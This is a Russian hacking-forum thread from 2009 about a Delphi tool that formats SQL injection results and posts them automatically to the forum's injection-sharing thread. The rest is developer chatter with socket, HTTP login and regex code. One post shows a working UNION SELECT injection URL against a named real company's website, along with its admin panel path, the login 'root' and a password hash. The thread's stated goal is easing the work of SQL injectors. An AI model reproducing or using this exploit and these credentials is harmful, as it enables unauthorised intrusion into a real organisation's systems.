Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Прога для оформление sql =) (https://forum.antichat.xyz/showthread.php?t=107022)

Assembler 19.02.2009 19:41

Прога для оформления sql =)
 
Воти и версия 1.5.

Скрин
http://www.picatom.com/w/prog-2.html
http://www.picatom.com/w/img/prog-2.JPG

Добавлена функция проверки по антибояну, и отправки сообщения на форум в тему с инъекциями. Так же доработал кнопку отправки, теперь в поле с текстом не просто появляется новая скуль, а появляется разделитель ________________________ и после этого идет вторая скуль.

В дальнейшем планирую добавить моментальный первод данных в sql hex , щелчком мышки не заходя в программу, и добавить управление цветами, а также автоматическую проверку тиц и pr.

А теперь небольшая инструкция.
1. Обратите внимание, на раздел Данные сайта, в нем находятся поля с URL, PR и Тиц, думаю с этим все понятно, но URL сайта нужно вводить в формате http://site.com, для того чтобы программа смогла определить, есть ли сайт в Антибояне.

2. Далее уже в ходе проведения Sql инъекции заполняйте поля Version() Database() и т.д. (для удобства сделано так что при двойном щелчке по полю информация в нем стирается.

3. Теперь настало время проверить сайт по Антибояну. Для этого нажмите на кнопку" Загрузить Антибоян" и дождитесь сообщения Антибоян загружен, (делать это нужно только один раз после запуска программы, данные со странице антибояна загружаются в память программы и уже в офлайн режиме он сверяет их.) После того как вы загрузили Антибоян, нужно щелкнуть по кнопке проверить по антибояну, и вылезет табличка которая скажет вам о том есть ли сайт в списке антибояна или нет.

4. После того как заполнили эти поля. Нажмите Оформить, вы увидите уже готовый текст. Вы можете скопировать его и запостить в любое место, но если вы хотите чтобы программа сама отправила сообщение в тему с инъекциями вам необходимо проследовать по следующим пунктам.

5. Для того чтобы отправлять сообщения, нужно ввести ваши регистрационные данные от Ачата, Имя и пароль. Для этого лезем в меню настройки. И вводим в соответствующие поля имя и пароль. После чего нажимаем Окей.

6. Все мы залогинились, теперь можно использовать кнопку отправить, после нажатия которой программа запостит вашу скулю(и) в тему http://forum.antichat.ru/threadnav21336-1-10.html...

7. Сообщения отправлять можно раз в 30 секунд,так чтобы небыло, проблем после нажатия по кнопке отправить вы увидите таймер Который подскажет вам когда можно отправлять следующее сообщение.

// Новая версия

8. Теперь если вы не трогаете какие либо поля типо Version() или USER() и т.д. А оставляете их в том же виде что и при запуске программы то в самом сообщении они не указываються. (идея mailbrush)

9. Авточек тиц и пр (наконец то)

10. Вы можете сохранить свое имя и пароль.

11. Ну и что еще новго ищите сами.

PS: Версия не финальная, буду еще доделывать...

PS: Хочу сказать Огромное спасибо eLWAux, без его помощи я бы не справился, а так-же De-Visible за хорошии идеи, а так-же mailbrush за что он сам знает =)

СКАЧАТЬ

http://slil.ru/27035294

Assembler 19.02.2009 19:42

Код:

http://www.almaz-antey.ru
PR: 3
Тиц: 2332
Версия: 5.0.20
База Данных: Data
Юзверь: almaz@localhost
Код:

http://www.almaz-antey.ru/news.php?id=-166%20union%20select%201,2,3,4,concat_ws(0x3a,id,snap,name,content,type,pos,date),6,7,8,9,10,11,12%20from%20fafnir_users--
Админка http://www.almaz-antey.ru/admin
Логин: root
Пароль: 202cb962ac59075b964b07152d234b70:0:20060625112722: 20060625112722

Assembler 20.02.2009 00:17

Ну че кто нить поюзал, мб баги какие или че нить еще?? Говорите ваши предложения... Есть маза сделать так чтобы при вызове меню на выделенном тексте в нем были пункты отправтить sql как админка и т.д. -)

faza02 20.02.2009 00:41

Assembler, для ленивых).
было бы классно, если б она чекала пр и тиц.
потом не
Цитата:

юзверь, версия
а лучше
Цитата:

user(), version()

Assembler 20.02.2009 00:52

Тиц и пр в будующем чекать будет 108% Ну так веселее юзер() версион() устарело -()+

Tigger 20.02.2009 00:53

Уже все есть такое)) Ну лан.. норм)) Молодец!

Assembler 20.02.2009 00:55

Тиггер, спс...
Кто хочет попасть в раздел эбоут =) (в плане эй лодка ) пишем любые баги =)

zifanchuck 20.02.2009 01:00

+адын)

Assembler 20.02.2009 01:19

Предлогайте ваши варианты развития прорграммы... Хочу развить так чтобы облегчить по максиуму труд Sql инжектеров... Вобщем предлогайте ваши идеи. РАссмОтрю все..

eLWAux 20.02.2009 01:36

Цитата:

Хочу развить так чтобы облегчить по максиуму труд Sql инжектеров...
молодец!
п.с.: реализируй отправку сообщений на форум.

Assembler 20.02.2009 13:05

Скачал ее пробую =)..

De-visible 20.02.2009 23:11

Ноль парсинга, ноль работы с сетью, чем не устроил форумный редактор сообщения?

Assembler 20.02.2009 23:14

Сделаю позже чтоб цвета менять можно было и тиц с пром проверяла.. А форумный ужо поднадоел, каждую скуль отдельно оформлять. по одному и томуже принципу..

De-visible 20.02.2009 23:24

Цитата:

Сообщение от Assembler
Сделаю позже чтоб цвета менять можно было и тиц с пром проверяла.. А форумный ужо поднадоел, каждую скуль отдельно оформлять. по одному и томуже принципу..

О_о, тогда думаю стоит сделать логин к форуму и пост сообщения автоматом...
Иначе программа кажется очень даже безполезной.
Для начала можешь восползоваться TidHTTP, если более продвинут то TidTCPClient ну и лучший вариант с использованием сокетов или WinINet...
Далее сделать проверку тица, как нехер делать, для парсинга страницы можешь использовать не стандатные функции для обработки текста, а модуль TRegExpr, будет очень удобно, ну и на последок, было бы не плохо сделать дизайн для этой проги под ачат, это будет довольно таки приятно.

Assembler 21.02.2009 00:40

De-visible, о спасиб за идеи =) Постараюсь осуществить... Думаю с логином мне придеться попариться =))

De-visible 21.02.2009 02:01

Цитата:

Сообщение от Assembler
De-visible, о спасиб за идеи =) Постараюсь осуществить... Думаю с логином мне придеться попариться =))

Я обычно в разделе кодинг )) так что вопросы задавать можешь там.

MyTHblu 21.02.2009 03:41

а можно мальца поподробнее.... как ей пользоваться)

iddqd 21.02.2009 03:54

а можно просто юзать [*code] или [quote]
это ж не книжка-раскраска

Assembler 21.02.2009 10:38

Да кстати De-visible скоро перееду к вам в кодинг =), я тут еще подумал, можно будет сделать так чтобы она по антибояну проверяла сайт =)). Ухх ща с работы прийду, и начну =)

De-visible 21.02.2009 10:38

[QUOTE=iddqd]а можно просто юзать [*code] или
Цитата:

это ж не книжка-раскраска
Я говорил уже об этом.

Assembler 21.02.2009 20:57

Модераторы, если можно перенесите в раздел Кодинг Delphi ..

А®ТеS 21.02.2009 22:25

Идея интересная, но будущего нет (ИМХО). Было бы интереснее, если реализовать в виде online-сервиса, написав, скажем, на PHP. А то при расширении функционала возникнут проблемы:
1. Не у всех широкий канал. Если добавть определение ТИЦ, ПР, отправку сообщений, то будет тратиться неоправданно много трафика.
2. При обновлении программы (а они, я думаю, будут довольно часто на первых порах) каждый раз придется выкачивать новую версию, а если будет сервисом, то просто один раз изменить код на сервере.
3. А так функционал программы можно расширять практически бесконечно: добавить автоподбор полей/таблиц, брутер слепых инъекций и т.п. Ведь было бы куда полезнее, чем просто выкладывать голую ссылку с минимумом системной информации.
В общем, удачи в кодинге :).

Assembler 21.02.2009 23:36

Вобщем, решил начать с интерфйса, так как дизайнер я не зе бест, то хочу посоветоваться с вами, как лучше оформить программу. Вот так сказать мой вариант, жду ваших предложений..
http://www.picatom.com/v/img/newsqlaat-1.JPG

ЗЫЖ Хочу на делфях, а дальше посмотрим =)

eLWAux 21.02.2009 23:40

Assembler, вот моя прога:
http://forum.antichat.ru/thread100240.html
там все в стиле ачата) +сорс и компонент TRegExpr в архиве

Assembler 22.02.2009 01:13

eLWAux, не пугай меня так =) Я уж думал она именно то делает что я хочу =) а вот за TregExpr спасиб =)
И такс, первый вопрос, хочу сделать так чтобы прога перед началом работы при нажатии кнопки загружала антибоян 1(раз перед началом работы) И потом уже внутри себя по нему проверяла сайты на боян... Подскажите каким путем это можно сделать, желательно понятным для меня языком, то есть не слишком замудренно...

eLWAux 22.02.2009 01:26

откуда загружать? из сайта или из файла?
--
загружаеш, например в listbox
и потом можно проверить:
if (listbox.items.indexof('сайт')>0) begin уже есть такой end;

Assembler 22.02.2009 01:31

Да с сайта.. хочу чтобы загружал данные в прогу, записывал их допустим в файлик и из него уже чекал.

eLWAux 22.02.2009 01:36

реализация через сокети:
Код:

uses ...,WinSock, ..;
const host = 'www.google.com'; //хост
....
var sock : TSocket;
....
function create_packet(url:string):string;
begin
 result := 'GET '+url+' HTTP/1.0' + #13#10 +
        'Host: ' + Host + #13#10 +
        'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' + #13#10 +
        'Accept: text/html' + #13#10 +
        'Keep-Alive: 300'+ #13#10 +
        'Referer: '+url+ #13#10 +
        'Connection: keep-alive' + #13#10#13#10;
end;


function GET(packet: string): string;
var
 wData : WSADATA;
 addr  : sockaddr_in;
 sock  : integer;
 error : integer;
 buf  : array [0..1023] of Char;
 str  : string;
 phe  : PHostEnt;
begin
 Result := '';
 WSAStartup($0101, wData);
 phe := gethostbyname(PChar(string(host)));
 if phe = nil then begin
    WSACleanup;
    exit;
 end;
 
 sock := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 if sock = INVALID_SOCKET then begin
    WSACleanup;
    exit;
 end;

 addr.sin_family := AF_INET;
 addr.sin_port  := htons(80);
 addr.sin_addr  := PInAddr(phe.h_addr_list^)^;
 error := connect(sock, addr, sizeof(addr));

 if error = SOCKET_ERROR then begin
    closesocket(sock);
    WSACleanup;
    exit;
 end;
 
 //str := 'GET '+url + ' HTTP/1.0'#13#10#13#10;
 str:=packet;
 send(sock, str[1], Length(str), 0);

 ZeroMemory(@buf, 1024);
 error := recv(sock, buf, 1024, 0);
 while error > 0 do begin
  Result := Result + Copy(buf, 0, error);
  error  := recv(sock, buf, 1024, 0);
 end;

 closesocket(sock);
 WSACleanup;
 if Result <> '' then Result:=Copy(Result, pos(#13#10#13#10, Result)+4,Length(Result));
end;

var answ : string;
answ := get( create_packet('http://www.google.com/') );

сохранение в файл:
Код:

  AssignFile(myFile, 'file.txt');
  ReWrite(myFile);
  WriteLn(myFile, answ);
  CloseFile(myFile);

ну и прочитать в listbox стандартно:
Код:

listbox1.items.loadfromfile('file.txt');

Assembler 22.02.2009 12:16

eLWAux, спасибо огромное. =)

Есть еще один вопрос, можно ли сделать так чтобы когда копаешься на сайте, выделив определнный элемент (название таблицы) и щелкнув правой кнопой мыхи, появлялось контекстное меню, в котором было бы подменю с названием sql, при нажатии которого данные отправлялись в прогу, переделывались в sql hex и после этого записывались в буфер?

De-visible 22.02.2009 20:28

Цитата:

Сообщение от eLWAux
реализация через сокети:
Код:

uses ...,WinSock, ..;
const host = 'www.google.com'; //хост
....
var sock : TSocket;
....
function create_packet(url:string):string;
begin
 result := 'GET '+url+' HTTP/1.0' + #13#10 +
        'Host: ' + Host + #13#10 +
        'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' + #13#10 +
        'Accept: text/html' + #13#10 +
        'Keep-Alive: 300'+ #13#10 +
        'Referer: '+url+ #13#10 +
        'Connection: keep-alive' + #13#10#13#10;
end;


function GET(packet: string): string;
var
 wData : WSADATA;
 addr  : sockaddr_in;
 sock  : integer;
 error : integer;
 buf  : array [0..1023] of Char;
 str  : string;
 phe  : PHostEnt;
begin
 Result := '';
 WSAStartup($0101, wData);
 phe := gethostbyname(PChar(string(host)));
 if phe = nil then begin
    WSACleanup;
    exit;
 end;
 
 sock := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 if sock = INVALID_SOCKET then begin
    WSACleanup;
    exit;
 end;

 addr.sin_family := AF_INET;
 addr.sin_port  := htons(80);
 addr.sin_addr  := PInAddr(phe.h_addr_list^)^;
 error := connect(sock, addr, sizeof(addr));

 if error = SOCKET_ERROR then begin
    closesocket(sock);
    WSACleanup;
    exit;
 end;
 
 //str := 'GET '+url + ' HTTP/1.0'#13#10#13#10;
 str:=packet;
 send(sock, str[1], Length(str), 0);

 ZeroMemory(@buf, 1024);
 error := recv(sock, buf, 1024, 0);
 while error > 0 do begin
  Result := Result + Copy(buf, 0, error);
  error  := recv(sock, buf, 1024, 0);
 end;

 closesocket(sock);
 WSACleanup;
 if Result <> '' then Result:=Copy(Result, pos(#13#10#13#10, Result)+4,Length(Result));
end;

var answ : string;
answ := get( create_packet('http://www.google.com/') );

сохранение в файл:
Код:

  AssignFile(myFile, 'file.txt');
  ReWrite(myFile);
  WriteLn(myFile, answ);
  CloseFile(myFile);

ну и прочитать в listbox стандартно:
Код:

listbox1.items.loadfromfile('file.txt');

Ну да да да, что бы получить ОДНУ СТРАНИЦУ, мы используем сокеты... показуха какая то...

Получаем страницу с помощью TidHTTP и парсим регуляркой...

Пользоваться сокетами нужно там где они действительно нужны...

Assembler 22.02.2009 22:05

De-visible, хмм а поподробнее можно?

eLWAux 24.02.2009 22:11

добавляеш IdHTTP из вкладки "Indy Clients".

вот тебе два примера:
1) загрузки страници "Антибоян" - "http://constant1ne.by.ru/sqls.html"
в listbox с помощью IdHTTP, GET методом (каждий сайт в отдельний item):
Код:

var i:integer ;
begin
GET метод (для http)

// загружаем страницу в listbox
listbox1.Items.Text:=  IdHttp1.Get('http://constant1ne.by.ru/sqls.html');

// пример проверки сайта по Антибоян'у
if (listbox1.Items.IndexOf('http://numi.is')>0) then
    showmessage('[боян] http://numi.is') else
    showmessage('http://numi.is нету в списке Антибоян!');

2) пример POST метода,
для логина на ачат (по https):
Код:

var i:integer ;
    IdHandler: TIdSSLIOHandlerSocket;
    CookMan: TidCookieManager;
    Params: TStringList;
    username,password,md5_password:string;
begin
POST метод (для https)

// ето нужно для роботи с https
  IdHandler:=TIdSSLIOHandlerSocket.Create(nil);
  IdHandler.SSLOptions.Method:=sslvTLSv1;
  IdHTTP1.IOHandler:=IdHandler;

// сookie хранитель
  IdHTTP1.AllowCookies:=true;
  CookMan:=TidCookieManager.Create(idHTTP1);
  idHttp1.CookieManager := CookMan;

  username := 'eLWAux';
  password := 'твой_пароль';
  md5_password := 'или_md5_твоего_пароля';
// данние, которие передаютса в POST запросе
  Params:=TStringList.Create;
  Params.add('vb_login_username='+username);
  Params.add('vb_login_password='+password);
  Params.add('cookieuser=1');
  Params.add('s=');
  Params.add('do=login');
  Params.add('forceredirect=1');
  Params.add('vb_login_md5password='+md5_password);

  try
      IdHTTP1.Port:=443; // https

      // необязательно - юзер агент
      IDHttp1.Request.UserAgent:='Mozila';

      // рефферер
      IdHTTP1.Request.Referer:='https://forum.antichat.ru/index.php?';
     
      // а вот и он, POST запрос на login.php )
      memo1.Lines.Text:=
            IdHttp1.Post('http://forum.antichat.ru/login.php?',params);

  finally
      IdHTTP1.Free;
      IdHandler.Free;
      Params.Free;
  end;

вот и все..
думаю поймеш, как отправлять сообщения на форум..
)

Assembler 24.02.2009 22:35

eLWAux, Чтоб я без тебя делал +) Спасибо огроменное =)

Как я понял чтобы отправить сообщение нада вот с этим поковыряться?

<input type="hidden" name="fromquickreply" value="1" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="do" value="postreply" />
<input type="hidden" name="t" value="21336" id="qr_threadid" />
<input type="hidden" name="p" value="who cares" id="qr_postid" />
<input type="hidden" name="parseurl" value="1" />
<input type="hidden" name="clickedelm" value="" />

<input type="submit" class="button" value="Отправить быстрый ответ" accesskey="s" title="(Alt + S)" name="sbutton" tabindex="2" onclick="this.form.clickedelm.value=this.value" />
<input type="submit" class="button" value="Расширенный режим" accesskey="x" title="(Alt + X)" name="preview" tabindex="3" id="qr_preview" onclick="this.form.clickedelm.value = this.value" />
</div>

eLWAux 25.02.2009 14:59

Цитата:

Сообщение от Assembler
Как я понял чтобы отправить сообщение нада вот с этим поковыряться?

да, именно!

Код:

<form action="newreply.php" method="post" name="vbform" onsubmit="return checkQR(this);">

<textarea name="message" id="qr_message" class="bginput" style="width: 600px; height: 100px;" rows="5" cols="60" tabindex="1">

<input type="hidden" name="fromquickreply" value="1" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="do" value="postreply" />
<input type="hidden" name="t" value="21336" id="qr_threadid" />
<input type="hidden" name="p" value="who cares" id="qr_postid" />
<input type="hidden" name="parseurl" value="1" />
<input type="hidden" name="clickedelm" value="" />

<input type="submit" class="button" value="Отправить быстрый ответ" accesskey="s" title="(Alt + S)"
  name="sbutton" tabindex="2" onclick="this.form.clickedelm.value=this.value" />
<input type="submit" class="button" value="Расширенный режим" accesskey="x" title="(Alt + X)"
  name="preview" tabindex="3" id="qr_preview" onclick="this.form.clickedelm.value = this.value" />
</div>

т.е. отправляеш на http(s)://forum.antichat.ru/newreply.php POST методом c параметрами:
Код:

fromquickreply=1
t=номер_теми
message=текст_сообщения
s=
do=postreply
p=who cares
parseurl=1
clickedelm=Отправить быстрый ответ
sbutton=Отправить быстрый ответ

пробуй, експериметируй)
а лучше постав себе на локалку воблу, и потестируй)

Assembler 25.02.2009 16:42

Спасибо еще раз =) Пошел эксерементировать =))

____________________________

Вот то что получилось:
http://rapidshare.com/files/202418155/Archive22.zip.html
Зеркало.
http://slil.ru/26998348
Cообщения отправляет, вроде все нормально, но есть проблемы, выдает ошибку после отправки сообщения, и второй раз не дает отправить...
eLWAux, посмотри что я не так сделал? И еще раз спасибо.

___________________________
Еще покопался понял что вторя ошибка была из-за
IdHTTP1.Free;
IdHandler.Free;
Params.Free;
Отключил //
Теперь можно отправлять подряд много сообщений с тайм аутом в 30 сек все как и полжено, но до сих пор не могу понять что это за ошибка...
HTTP/1.1 302 Moved Temporarily.

_________________________________
УРААААААААААААААААААА. Все работает проблема была в handleredirect нужно было поставить true =))... Ухх скоро уже закончу =)

Assembler 26.02.2009 12:54

Чтемс первый пост!

De-visible 26.02.2009 18:55

Еще один новичек потихоньку продвигается в круг программеров)))

Assembler 27.02.2009 10:08

При переходе по этой ссылке http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://google.ru показывается тиц. В исходном коде
<url domain="www.google.ru">/</url>
<tcy rang="6" value="76000"/> Как вывести его в программу?

De-visible 27.02.2009 10:37

Цитата:

Сообщение от Assembler
При переходе по этой ссылке http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://google.ru показывается тиц. В исходном коде
<url domain="www.google.ru">/</url>
<tcy rang="6" value="76000"/> Как вывести его в программу?

Регуляркой, или же парсить в ручную, pos,Copy, и т.д.

eLWAux 27.02.2009 18:36

Цитата:

Сообщение от Assembler
<url domain="www.google.ru">/</url>
<tcy rang="6" value="76000"/> Как вывести его в программу?

Код:

uses ...RegExpr..;
var regexp: TRegExpr;
..
  answ = '<tcy rang="6" value="76000"/>';
  RegExp.Expression := '<tcy rang="(\d+)" value="(\d+)"/>'; //регулярка
  RegExp.Exec(answ); //парсим answ регуляркой
  rand := RegExp.Substitute('$1'); //получаем первое совпадение
  value:= RegExp.Substitute('$2');//получаем второе
..



Время: 22:23